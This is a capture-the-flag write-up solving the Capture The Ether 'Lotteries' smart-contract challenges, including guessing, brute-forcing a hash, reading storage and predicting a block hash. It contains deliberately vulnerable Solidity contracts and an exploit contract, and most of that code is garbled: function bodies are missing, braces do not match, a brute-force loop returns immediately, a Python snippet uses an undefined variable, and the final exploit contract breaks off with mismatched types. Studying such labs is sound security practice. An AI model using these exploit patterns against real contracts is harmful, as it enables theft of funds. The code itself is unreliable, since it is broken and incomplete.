ctfwriteup.com
Search…
⌃K

# Lotteries

## Guess the number

### Code Audit

pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
msg.sender.transfer(2 ether);
}
}
}

### Solution

In Capture The Ether interface, click "Begin Challenge" and get the instance address. In Remix, deploy the `GuessTheNumberChallenge` contract at the instance address:
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
msg.sender.transfer(2 ether);
}
}
}
To interact with the deployed instance, feed in the instance address and click "At Address":
Call `guess()` with 42 as input and send over 1 ether:
GuessTheNumber call guess
Verify that the challenge is solved by calling the `isComplete()` getter:
GuessTheNumber isComplete

## Guess the secret number

### Code Audit

pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
msg.sender.transfer(2 ether);
}
}
}
Since `guess()` takes uint8 as input, we know that the range is 0 ~ 255. This is a small enough range for bruteforce attack.

### Solution

Write a contract to bruteforce the hash:
pragma solidity ^0.4.21;
contract HashBruteForce {
function bruteForce() external view returns(uint8) {
for (uint8 i = 0; i < 256; i++) {
return i;
}
}
return 0;
}
}
The result is 170:
bruteForce
In Capture The Ether interface, click "Begin Challenge" and get the instance address. In Remix, deploy the `GuessTheSecretNumberChallenge` contract at the instance address:
pragma solidity 0.4.21;
contract GuessTheSecretNumberChallenge {
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
msg.sender.transfer(2 ether);
}
}
}
To interact with the deployed instance, feed in the instance address and click "At Address":
Call `guess()` with 170 as input and send over 1 ether:
GuessTheSecretNumber call guess
Verify that the challenge is solved by calling the getter `isComplete()`.

## Guess the random number

### Code Audit

pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
msg.sender.transfer(2 ether);
}
}
}
The "random" number `answer` is computed from `block.number`. The truth is that `answer` is not random at all. Since `uint8 answer` is declared as a state variable, it is stored in blockchain storage and we can view it on Etherscan.

### Solution

In Capture The Ether interface, click on the instance address and we are brought to https://ropsten.etherscan.io. Click "Internal Txns" and go into the only transaction. Click "State". Theoretically you can view the content of `answer` here, but this page does not give me any data.
Instead, I choose to use some web3.py magic to read the storage. To read data from blockchain, we must have access to a node on that blockchain. An easier way to do this is using Infura.
Register an account at Infura and use web3.py to query the contract storage:
from web3 import Web3
infura_url = 'https://ropsten.infura.io/v3/<your_infura_api_key>'
web3 = Web3(Web3.HTTPProvider(infura_url))
print(int.from_bytes(a, "big"))
# 106
Compile the following challenge contract in Remix:
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
msg.sender.transfer(2 ether);
}
}
}
To interact with the deployed instance, feed in the instance address and click "At Address":
Call `guess()` with input 106 and send over 1 ether. Verify that the challenge is solved by calling the getter `isComplete()`.

## Predict the block hash

### Code Audit

pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
guesser = 0;
msg.sender.transfer(2 ether);
}
}
}
The essence is:
where:
settlementBlockNumber = block.number + 1;
Seems like we must find out `block.number`, but do we?
Quote from Solidity doc:
The block hashes are not available for all blocks for scalability reasons. You can only access the hashes of the most recent 256 blocks, all other values will be zero.
Here "zero" means the zero address `address(0)`. In our case, since `lockInGuess()` takes `bytes32`, we should lock in `0x0000000000000000000000000000000000000000000000000000000000000000` as our guess. After calling `lockInGuess(0x0000000000000000000000000000000000000000000000000000000000000000)`, we just have to wait 256 block time and then call `settle()`.

### Solution

Write an exploit contract and deploy it in Remix:
pragma solidity ^0.4.21;
interface IPredictTheBlockHashChallenge {
function lockInGuess(uint8 n) external payable;
function settle() external;
function isComplete() external view returns (bool);
}
contract PredictTheBlockHashSolution {
IPredictTheBlockHashChallenge challenge;
owner = msg.sender;
challenge = IPredictTheBlockHashChallenge(_challenge);
}
function lockInGuess(uint8 n) external payable {
challenge.lockInGuess.value(msg.value)(n);
}
function pwn() external payable {
challenge.settle();
require(challenge.isComplete());
Call `lockInGuess(0x0000000000000000000000000000000000000000000000000000000000000000)` and then call `pwn()` after an hour.